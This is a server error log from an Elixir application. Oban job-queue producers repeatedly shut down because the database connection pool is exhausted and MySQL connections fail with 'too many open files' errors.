[Sat Sep  5 23:37:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:37:28.244823Z], limit: 20, uuid: "e3545465-3d21-490d-92f4-11ecbf73703a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:28.244829Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255750>, refresh_timer: #Reference<0.2525715032.1077411843.255726>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:37:28.244950Z], limit: 3, uuid: "99ce44bf-3af9-4efc-9260-bf5b5754cf92", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:28.244955Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255752>, refresh_timer: #Reference<0.2525715032.1077411843.255727>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:37:28.245338Z], limit: 10, uuid: "313a1185-ccdf-4014-80f5-2a786f12eced", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:28.245344Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.255751>, refresh_timer: #Reference<0.2525715032.1077411843.255736>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:40.710000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:43.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:43.651000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:45.449000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:45.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:49.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:50.263000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:53.998000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:37:40.240896Z], limit: 5, uuid: "67d2bc82-bc6c-473e-923a-7401d665ef86", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:40.240904Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126269>, refresh_timer: #Reference<0.2525715032.1077411843.256056>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1859ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:37:40.242979Z], limit: 5, uuid: "98c9f9e2-bd72-4d37-ad09-4a9e404b99b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:40.242985Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126270>, refresh_timer: #Reference<0.2525715032.1068498948.20851>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:37:40.239855Z], limit: 50, uuid: "7c8b993c-49a4-4d15-a209-db32f2714278", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:40.239861Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126271>, refresh_timer: #Reference<0.2525715032.1068498948.20829>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:37:40.242194Z], limit: 10, uuid: "72607d54-6fd7-43c9-b451-8c3675c87331", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:40.242200Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126267>, refresh_timer: #Reference<0.2525715032.1121189889.126245>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:54.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:37:40.240994Z], limit: 20, uuid: "a3e8a10e-fdde-4e73-b8bb-d075d8ac1726", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:40.240999Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126266>, refresh_timer: #Reference<0.2525715032.1121189889.126232>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
